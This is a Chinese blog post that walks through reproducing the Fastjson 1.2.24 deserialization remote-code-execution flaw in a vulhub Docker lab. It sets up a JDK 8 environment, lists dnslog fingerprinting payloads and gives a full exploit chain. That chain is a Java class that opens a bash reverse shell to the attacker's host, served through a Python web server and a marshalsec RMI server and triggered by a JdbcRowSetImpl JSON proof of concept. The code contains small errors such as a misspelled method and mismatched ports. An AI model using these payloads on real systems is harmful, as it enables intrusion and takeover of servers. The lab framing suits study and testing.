【vulhub】fastjson1.2.24-rce
前言:参考了很多文章,感觉都很乱,所以整理一遍发这次的博客;而且这个实验没基础是真看不太懂,所幸在b站刷到这个视频,深入浅出讲解了fastjson1.2.24-rce/1.2.47-rce背后的原理,强烈安利!
0x01 漏洞简介
1.Fastjson介绍
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
2.Fastjson 1.2.24反序列化导致任意命令执行
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响范围:fastjson<=1.2.24
3.复现思路
发送POC让靶机来请求VPS上的RMI方法,执行放置在python临时服务器上的EXP(/bin/bash","-c","bash -i >& /dev/tcp/192.168.18.137/4444 0>&1)同时VPS利用nc监听着4444端口,等待shell反弹

0x02 环境准备
环境准备:
1.漏洞环境
这里使用kali下漏洞靶场vulub搭建
cd /vulhub/fastjson/1.2.24-rce docker-compose up -d
docker ps

docker开启的8090端口,访问靶机IP
2.攻击环境
1)JDK版本切换
漏洞利用需要jdk8,而kali自带的jdk是jdk11这里用不了,所以先卸载kali的jdk1123
dpkg --list | grep -i jdk #查看安装的jdk包
apt-get purge openjdk-* #卸载openjdk相关包
dpkg --list | grep -i jdk #检查所有jdk包都卸载完毕
下载jdk1.8
https://github.com/frekele/oracle-java/releases

将压缩包放入kali后解压、配置环境变量
mv jdk-8u212-linux-x64.tar.gz /opt/java #放置在/opt/java下
tar -zxvf jdk-8u212-linux-x64.tar.gz #解压缩
#环境变量配置
leafpad /etc/profile
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
#通知java的位置
#update-alternatives命令用于处理linux系统中软件版本的切换
sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
#设置默认JDK
sudo update-alternatives --set java /opt/java/jdk1.8.0_212/bin/java
sudo update-alternatives --set javac /opt/java/jdk1.8.0_212/bin/javac
sudo update-alternatives --set javaws /opt/java/jdk1.8.0_212/bin/javaws
#使环境变量生效
source /etc/profile
#检查是否安装成功
java -version

2)maven在kali上的安装
(编译安装没成功,后面直接apt安装,笑死我了)
apt-get install maven#安装MVN mvn –version#查看是否安装成功
3)marshalsec安装
git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests #编译
0x03 漏洞扫描
fastjson指纹特征有两种如下
1 根据返回包判断
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

2 利用dnslog盲打
构造以下payload,利用dnslog平台接收。我这边dnslog.cn不知道为啥打开不了,就用了ceye.io效果一样
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}


0x04 漏洞利用
1)生成exp
创建TouchFile.java在桌面上就好
import java.lang.Runtime; import java.lang.Process; public class TouchFile{ static{ try{ Runtime rt = Runtime.getRumtime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/你nc接收反弹shell的IP/4444 0>&1 "}; Process pc = rt.exec(commands); pc.waitFor(); }catch(Exception e){ //do nothing } } }
#编译TouchFile.java生成TouchFile.class javac TouchFile.java

2)VPS开启python的web服务
#利用python搭建web服务 python -m SimpleHttpServer 1111 python3 -m http.server

3)VPS开启RMI服务
#进入mashalsec目录 cd / #利用mashalsec开启RMI服务监听9999端口 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的vpsIP即kaliIP/#TouchFile" 6666

4)POC发送
BP抓包改GET为POST,插入Content-Type: application/json后发送POC
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl" "dataSourceName":"rmi://你的rmi服务IP即kaliIP:6666/TouchFile", "autoCommit":true } }

5)反弹nc
打开nc接收反弹shell,再次发送POC


浙公网安备 33010602011771号